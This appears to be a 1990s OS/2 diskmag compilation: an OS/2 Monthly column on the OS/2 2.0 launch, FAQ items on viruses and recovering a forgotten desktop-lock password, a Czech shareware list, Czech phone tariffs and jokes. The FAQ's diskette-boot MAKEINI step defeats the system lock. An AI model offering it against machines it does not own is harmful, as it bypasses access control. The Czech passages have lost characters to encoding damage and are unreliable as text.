MS-Windows, SUN's PC-NFS, Mansfield REXX and KEDIT would not play
happily together on his PC-AT.  You may reach him through this
publication or on the IBM BBS (userid:  Bertram Moshier) at
404-835-6600.

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                             Watching OS/2
                            By Bert Moshier

One of the following three sentences does not apply to OS/2 2.0 for
March 31.  (a) Is it soup, yet?  (b) Are we there, yet Mommy?  (c) But
Mother, I can do it myself!  The answer, of course, is (c).  IBM had to
finish OS/2 2.0 and everyone was wondering on March 31, if IBM and OS/2
2.0 were really ready.

You are reading this column after the launch of OS/2 2.0 that occurred
at the Spring COMDEX.  You have knowledge about the fate of OS/2 many of
us (back in February) were desiring to know.  Did it go out by the end
of March?  Did first day orders ship on April 10?  Is it stable?  Is IBM
advertising and marketing it to the person using the personal computer?
What new features (since the last beta drop) did IBM add, if any?  Did
all the features that caused the last delay ship?  How are the press and
the public receiving OS/2?  Are OS/2 1.x end-users still waiting for
their upgrade to 2.0?  How long will the upgrade process take to
complete?  Will IBM have a new upgrade procedure or will it be the same
old tune?

Today is April 20, and for many people these questions remain.  We have
some answers, but these answers create new questions.  IBM is
advertising OS/2, but not widely.  OS/2 Marketing is happening, but
slowly.  Shrink wrap OS/2 exists, but in very low numbers.  Many stores
say they will not carry OS/2 on their shelves.  The Corner Store and the
IBM 800 number together sold in the first two weeks over 280,000 copies
($49, $99 and $139).  This tells us that word of mouth and computer
networks (IBM BBS, Compuserve IBMOS2, Fidonet, Bitnet, Internet, and
Usenet to name a few) are doing a good job.  Reliable sources say IBM is
selling 4,000 copies an hour as of April 28.

Originally, this column was going to be on a question.  Is OS/2 2.0
really "The Integration Platform" IBM claims?  After much consideration,
I felt we needed to take care of some administrative details.  In the
previous columns, we got right to work reviewing our desire for IBM to
market and advertise OS/2 aggressively.  Normally, a first column
discusses the columnist, column goals and other housekeeping details.
With Spring upon us and a moment of time, we should cover these areas.
Before we delve into these details, a word from our sponsor.

-------

Hi!  My name is Susan.  I am a sophomore at The Ohio University.  I just
don't understand computers.  Why are they so difficult?  They just don't
work like other things in my life.  For example, when I lived at home my
mother had me doing chores around the house.  To get them all done, and
still have time to go out in the afternoon, I'd have to do several of
them at the same time.  I'd start a load of clothes and dishes, start
mowing the lawn.  After fifteen minutes, I'd come back inside, move
clothes to the dryer, refill the washer, and return to the mowing.  Come
in later and unload the dishwasher, do the weeding, and so on.

Why can't my PC let me start up unattended work and interactively work
at the same time?  I tried using a window application to download a file
while doing my homework, but the download failed because of lost
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characters.  The download did work when nothing else was running.
Another time when doing work, my roommate needed some diskettes
formatted.  My work came to a halt.  A friend told me about changing
configuration files.  All I am asking is for the computer to serve me,
instead of me serving it.  Is this too much to ask?

This commercial brought to you by End-Users For A More Productive
Environment.  We believe the computer is mankind's servant.  Isn't it
time the computer started working on our level, instead of us working on
its level?

Now back to our show.

------

Hello, my name is Bert Moshier.  I am a computer specialist employed by
an U.S. supercomputer manufacturer working in the network development
group.  My job has nothing to do OS/2.

I grew up in a small rural Southern Ohio town (now a city) reared by my
mother who is also the artist for this column.  The first computer I
used was a Wang programmable calculator with a card reader and an IBM
Selectric typewriter.  From it, I discovered my love for computers.
This occurred in 1974 while I was attending Rio Grande College, after
skipping my senior year of high school.

My Grandmother had a fit when she heard I liked computers.  She did not
like computers, since her bank was changing over at the time.  I was to
be an accountant, period.  Later, she changed her mind saying I should
learn about computers.  Why did she change her mind?  To quote her,
"Bert, You can help the other accountants get rid of computers."

I graduated in 1979 from The Ohio University at Athens, Ohio with a BGS
degree.  My major was Computer Science (104 quarter hours of computer or
related classes).  My area of interest was operating systems, VM/370.
My project, "An Internal Study of VM/370 and Computer Study," gave me an
interesting, hard, and rewarding senior year.  Since graduation, I
discovered there are many jobs dealing with computer internals
(including assembler and now C) and they pay well.

My first job as a VM systems programmer was with Texas Instruments at
the Lewisville Interactive Computer Center (LICC).  The Rolling Stone
tongue was our unofficial logo.  I left TI for a 35% pay raise and to
stay a VM systems programmer.

My second job was with Owens Corning Fiberglas as the lead VM systems
programmer.  While there, I became involved with Share (an IBM mainframe
user group) as a project officer.  I discovered, with the help of Phil
Howard, two methods to permit a class G user to read and write real
memory.  IBM fixed one of these holes and declined to fix the other one.
My significant work was the development of an incremental backup system.
I learned an important fact at OCF.  I want to help all people to use
their computers, not one company.

I joined Cray Research, Inc., in 1983 working on the Cray VM Station.  I
became the VM Station project leader in 1990.  Between 1990 and 1992, I
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was also the RQS (Remote Queuing Subsystem) for OS/2 project leader.
Duties included looking at the justifications of a Cray OS/2
communications product.  I joined the Network Support section when a
group reorganization occurred in January 1992 and am now working on DCE
(Distributed Computing Environment).

My interest in OS/2 began in 1989.  My manager was complaining that I
was spending more time getting my PC/AT to work than doing work for him.
I reviewed why I needed the PC to do my job:  3270 communications, word
processing, grammar checking, TCP/IP (electronic mail, Cray access, NFS,
etc.), file editing (Kedit), REXX development and presentation graphics.
All this real work could run under OS/2.  Finally, no conflicts existed!
In early 1990, I went to OS/2 and never looked back.

I first used OS/2 as I had been using DOS, one application at a time.
About six months later, it dawned on me that my mind set was changing.
I was multitasking my projects on the computer.  I was actively looking
for work to do and to overlap work.  I seriously felt restricted by CMS
and its ability to do only one command at a time.  Today, OS/2 2.0 is
integrating DOS and Windows back into my computers.  I use several DOS
programs (Risk, Correct Grammar, RightWriter, SimCity, ChessMaster 3000,
Manage Your Money, and The Word Processor by Bible Research, Inc.).  I
even have a Windows program (ChessMaster 3000).

I am, though, being selective in choosing DOS and Windows programs.  If
an OS/2 version exists, I'll strongly consider it.  An example is
DeScribe instead of WordPerfect for Windows.  Another example is
Freelance for OS/2 instead of Powerpoint.  The OS/2 versions run faster
than their DOS or Windows counterparts and support descriptive file
names.  For example, which file name is the better, given one manually
enters a name only once using DeScribe,
Watching-OS2.Volume-One.Third-Issue or Third.Iss?

The name for this column came from my desire to let Carole Patton write
less about OS/2 and more about Windows.  Ms. Patton, last year, wrote a
column called Watching Windows for PC Week.  I was writing to PC Week
suggesting a Watching OS/2 column, when Joel Siragher approached me
about writing for OS/2 Monthly.  Reality said PC Week was not going to
off-load OS/2 from Ms. Patton by creating a Watching OS/2 column.  I
agreed to write for this magazine to help advance OS/2.  To my surprise,
PC Week shortly afterward stopped carrying Ms. Patton's Watching Windows
column.

Column direction

This column watches OS/2 and its many facets.  Topics range from
marketing and advertising, to technical directions, to product reviews,
to whatever is of interests.  No one is safe from getting coverage.  It
maybe a pat on the back or a swift kick in the ....

Input comes from many sources, including the mentioned above networks.
I am finding many of you are on these networks.  Your input allows me to
discover what is going on with OS/2, for this subject is greater than
one person can cover.  I am simply a small town boy who, is reporting
what many see, feel and discover about a very productive and useful
computer tool.  I use the word "we" to represent network users and me.
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For example, we believe IBM must aggressively market and advertise OS/2
to the person using the PC.

The writing style is informal and is blunt, when necessary.  I prefer to
use real life examples, stories, and analogies since they help people
visualize meanings and reduce ambiguities.  Content comes first and
grammar second.  Grammar is extremely important for it conveys the
content.  It is the transport layer, the communications path.  As Joel
learned from last issue (see no one is safe), grammar can break but not
make a piece.  I strive for straight forward (simple sentences) and
active (voice) columns.  The motto is don't make the reader search for
the meaning.

In conclusion, many positive and wonderful events are starting to occur
for OS/2.  People are realizing what IBM service really means!  IBM is
discovering it can bring business to the masses and the few.  People can
work with their computer on a peer basis.

The President of Stac Electronic, while at the IBM Press briefing,
related an experience.  He was working late (7 PM), and thought he was
the only one left at the office.  Much to his surprise, he saw running
between offices the Stac Comptroller.  He was typing a few keystrokes on
each machine, and then sitting down to one and typing for a few minutes.
He explained that he was doing the month end accounting and writing a
report.  One machine was doing accounts receivable.  Another machine was
doing accounts payable, while other machines were doing additional
end-of-the-month activities.  Finally, he was writing a report due
tomorrow on his own machine.  Every machine in his department was in
use.  As the Stac Electronic President went home, he realized the
advantage of OS/2 and multitasking.  How much time did this valuable
employee lose that night?  How good could the report be, when the author
got up and ran from machine to machine?

Is everything great for OS/2?  No.  One big problem is the expense of
development tools!  People wonder if IBM really wants OS/2 to be more
than an outstanding DOS and Windows extender.  How IBM treats software
developers, big and small, will tell the tale.

I leave you with this thought from Gordy Miller.  WPS, Where
Productivity Starts!

                                 -- --

Bert Moshier is the president of the Minnesota OS/2 End-user Group.  He
has been working with VM systems since 1977, and as a VM systems
developer since 1979.  He became involved in OS/2 in 1989 when DOS,
MS-Windows, SUN's PC-NFS, Mansfield REXX and KEDIT would not play
happily together on his PC-AT.  You may reach him through this
publication or on the IBM BBS (userid:  Bertram Moshier) at
404-835-6600.

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 Should I worry about viruses when running OS/2 2.1?

At present there are no OS/2-specific viruses.  However, DOS/Windows
viruses can conceivably infect an OS/2 2.1 system.  DOS/Windows antivirus
tools are just as useful in preventing such infection.  Also, IBM has an
antivirus package (AntiVirus/2) which runs under OS/2 directly (without
DOS/Windows emulation).  {{ To order AntiVirus/2, call 800-551-3579
(800-465-7999 in Canada).  }} McAfee's OS/2 SCAN and CLEAN have been
released, as has Dr.  Solomon's Antivirus Toolkit for OS/2 from Ontrack
Systems.  Others (Dr.  Cohen, for example) are in development.

But OS/2 2.1 is likely to be much more resistant to viruses because of its
design.  Viruses running in one virtual DOS/Windows session are likely to
be confined to that session.  Low level disk access is curtailed under OS/2
2.1, thus preventing most virus infection at that level.  And when a
DOS/Windows virus does trigger, it is far less likely to disrupt the entire
system.  In fact, OS/2 is most vulnerable when it isn't in charge (i.e.
when native DOS is being used).  A DOS virus then has free reign to write
to the hard disk and possibly disable OS/2.  The greater risk comes from
leaving OS/2.

OS/2 2.1 is by no means virus proof -- no system is.  But it should prove
more resistant to virus infection.

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o OS/2 2.1 now includes the ability to set a power on password.  However,
  if you have forgotten your password, and you cannot unlock your desktop
  when you turn your machine on, try the following.  Start OS/2 from a
  diskette boot see (4.4) Starting OS/2 from Diskette to get a command line
  prompt.  At the prompt, enter the following commands:

    C:

    (assuming OS/2 is installed on Drive C; change if necessary)

    MAKEINI OS2.INI LOCK.RC

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 o To reboot the machine from the command line, use:

    SETBOOT /IBD:C

    Change the last letter (C) if you want to boot from another drive.

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================================================================================
                                   SHAREWARE
================================================================================




                                 SHAREWARE
                        --------------------------

Tato sekce obsahuje strun popisy obsahujc jmno programy, slo diskety,
klov slova a popis mnoha SHAREWARE a FREEWARE program. Mohu tyto programy
poskytnou, jde o moji soukromou "sbrku", ppadn zjemci mohou pout
NetMail na 2:420/20.6 v rmci FidoNet. 

Upozornn, v rmci tohoto pehledu jsou i mnoh poloky oznaen PRIVATE
nebo poloky, kter jsou evidentn (c) software i prodvan produkty. 
Uveden jsou jenom z dvodu e program pro tvorbu popis zatm nem
filtr pro vyjmut uritho druhu informac a disketov archiv zahrnuje
upln vechno co na disketch schovvm (tj. vetn zakoupench produkt).
Nepoadujte v dnm ppad nco co nen mon poadovat!



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TOPISS-5.ARJ    376     NOVELL Q&A TOP ISSUES

                        Top issue from June 1992 for Novell products.

5509.TXT        376     INTEL LAN NETSIGHT SENTRY

                        NetSight Sentry for Ethernet Message Guise, S-Z part
                        part of Intel FaxBack.

DB-153.ZIP      376     D'BRIDGE MAILER COMMUNICATION

                        D'Bridge mailer, release 1.53

DBMALLOC.ZIP    376     C MALLOC REPLACEMENT UNIX

                        Collection of malloc, memory, string and bstring
                        replacements. UNIX files with LOOONG file names.

S-MK362.ZIP     376     GNU MAKE SOURCE

                        Complete source of GNU Make, version 3.62.

SAMPLES.ZIP     376     GNU SAMPLES GCC

                        Collection of GNU sample files for demonstrating
                        gcc usage.

GCCINCL.ZIP     378     GNU GCC OS/2

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                        GNU include files for GCC of all kind, includes OS/2
                        specifics. Warning it's using LOOONG file names.

GENCLP20.ZIP    378     CLIPPER CODE GENERATOR

                        GENCLP 2.0, Clipper code generator, generates complete
                        source of system together with sources of few libs.


NTWRTCP.ZIP     378     NOVELL OS/2 TCP/IP

                        How to get Novell OS/2 Requester and IBM TCP/IP to
                        work together. Includes sample config files.

LNDMRKSP.ARJ    379     UTILITIES DOS LANDMARK SPEED SCREEN PAYWARE

                        Landmark Utitlities, v2.). Landmark Speed test 2.00,
                        CMOS setup program, FANSI, enhanced RENAME command,
                        enhanced MOVE, BUSY for testing speed of multitask
                        systems, REPRINT for printing one file more times,
                        VALUE for environment access, FILLER for creating
                        files of ANY size.

21DFCT.ZIP      379     OS/2 2.1 INF BETA DEFECT REPORT

                        OS/2 2.1 Beta Defect report, it's possibly bit old
                        because 2.1 is released, but it can help to see
                        problems in beta when looking for problem in real
                        release.

ALLFYI.ZIP      379     NOVELL DRDOS FYI HELP Q&A

                        Collection of ALL FYI related to Novell and DR DOS.

CTRLDES.ZIP     379     OS/2 DEMONSTRATION PM CONTROL

                        OS/2 demonstration how to create PM based custom
                        control. Complete sources and build files are included.
                        Final .EXE also.

SMALLDRV.ZIP    379     OS/2 SVGA DRIVER 1024 768 256 BETA 2.1

                        OS/2 Small resource SVGA display driver for
                        1024x768x256 for 2.1 March beta only. Has small
                        fonts (Helv 8). Small icons (32x32 not 40x40) and
                        small tittle bars. Includes also nearly detail
                        description how it was created and it can be
                        very handy for some other kind of this manipulation.

WSDRV1.EXE      380     NOVELL WORKSTATION DRIVERS

                        Novell NetWare DOS ODI drivers for workstations
                        Includes all .COM for various cards and PBURST.NLM

1013TW!2.LZH    380     BBS DOOR GAME TRADEWARS OS/2

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                        Classical door game, Tradewars version 2, ported
                        to OS/2 2.x. It's 32bit port.

PSXMH103.ZIP    380     PASCAL XMS HEAP SOURCE

                        Pure Power XMS Heap, 1.03, XMS Heap Unit with NG
                        documentation.

WE-20M.ZIP      381     WINDOWS EDITOR WINEDIT

                        Windows based editor, WinEdit 2.0M.

REDBK1.ZIP      408     OS/2 REBBOOK INF
REDBK2.ZIP      382     OS/2 REDBOOK INF
REDBK3.ZIP      410     OS/2 REDBOOK INF

                        IBM's RedBook, INF format. Contains many subjects
                        from PC itself and OS/2 related.

S-O2OBJ.ZIP     382     GNU GCC O2OBJ SOURCE

                        MakeFile for O2OBJ.EXE and source file O2OBJ.C

PAT371.ZIP      383     NOVELL DR MDOS 5.1 PATCH UPDATE FIX

                        Patch for DR MultiUser DOS 5.1, fixes error
                        in locking of portions of files.

SERVICE2.ZIP    383     OS/2 SVGA DRIVERS

                        OS/2 svga drivers in .DLL form.

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                               Peteno kdesi...
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  Tarifni pasma platna od 1.4.94:
  ===============================


  Cena za 1 min. vcetne DPH   Cetnost vysilani impulsu
  1.          6,40                       15,00 s
  2.         25,20                        3,82 s
  3.         31,50                        3,06 s
  4.         42,-                         2,30 s
  5. a 6. se rusi
  7.         63,-                         1,54 s
  8.         78,70                        1,22 s
  9.         94,50                        1,02 s
  10.        141,70                        0,68 s
  11.        231,-                         0,42 s
 Hovory na Slovensko zustavaji v 1. tar. pasmu.
 Jinak zustava vse pri starem - Evropa, viz tel. seznam.

 Dale uvedu _pouze_ zeme, u nichz doslo ke zmene tarifu:

 1. Z cetnosti 1.02 (94,50) na 1.22 (78,70) byly zmeneny:
 Jihoafricka rep., Aruba, Brazilie, Venezuela, Niz.Antily, Novy
 Zeland, Jordansko, Katar, Kuvajt, Iran

 2. Z cetnosti 0,68 (141,70) na 1,02 (94,50) byly zmeneny:
 Karibska oblast (smer.c. 001 809), USA - Aljaska (smer.c. 001 907),
 Gambie, Senegal, Mali, Guinea, Pobrezi slonoviny, Burkina Faso,
 Niger, Benin, Liberie, Sierra Leone, Ghana, Nigerie, Cad,
 Stredoafricka rep., Kamerun, Kapverdy, Gabun, Kongo, Zaire, Angola,
 Guinea Bissau, Ascension, Seychely, Rwanda, Etiopie, Somalsko,
 Dzibuti, Kena, Tanzanie, Mozambik, Zambie, Madagaskar, Reunion,
 Zimbabwe, Namibie, Lesotho, Komory, Sv. Helena, Falklandy, Belize,
 Guatemala, Salvador, Honduras, Panama, St.Pierre a Miquelon, Haiti,
 Mexiko, Argentina, Chile, Bolivie, Guayana fr., Paraguay, Uruguay,
 Malajsko, Indonesie, Mariany, Guam, Brunei, Nauru, Papua-N.Guinea,
 Tonga, Salamounovy ostrovy, Vanuatu, Fidzi, Cookovy ostr., Samoa,
 Kiribati, Nova Kaledonie, Tuvalu, Fr.Polynesie, Macao, Kambodza,
 Banglades, Pakistan, Sri Lanka, Barma, Maledivy, Libanon, Saudska
 Arabie, Bahrajn, Bhutan Nepal
 3. Z cetnosti 0,68 (141,70) na 1,22 (78,70) byly zmeneny:
 Svazijsko, Kostarika, Guadeloupe, Martinik, Singapur, Thajsko,
 Cina, Thaiwan, Indie

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                               Legrace a legrcky
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                      M U R P H O L O G I E
                             Motto:
                   Usmvej se, ztra bude h!



              Problematika vudyptomnch problm


Sevareidv zkon:
     Hlavn pinou problm je jejich een.

Ducharmv axiom:
     Jestlie se lovk sna proniknout a k jdru svho probl-
mu, stv se sm soust tohoto problmu.

Murphyho logick dsledek:
     Z kadho een se rod nov problmy.

Oppenheimerv zkon:
     Na rozdl od instantn  kvy - instantn zkuenost neexistu-
je.

Zkon Velkho Ala:
     Opravdu dobr  een lze spn  aplikovat tm na  kad
problm.

Zkon Smithv:
     dn opravdov problm se ned vyeit.

Zkon Van Herpenv:
     Vyeen problmu spov v tom, najt eitele.

Hallv zkon:
     Pstup k problmu je dleitj ne jeho een.

Hoarv zkon velkch problm:
     Uvnit kadho velkho problmu  je mal problm, kter usi-
luje, aby se dostal ven.

Peerv zkon:
     Vyeen problmu zmn jeho podstatu.
Pravidlo pesnosti:
     Jestlie pracuje na een njakho problmu, je velkou v-
hodou, v-li pedem, o jde.

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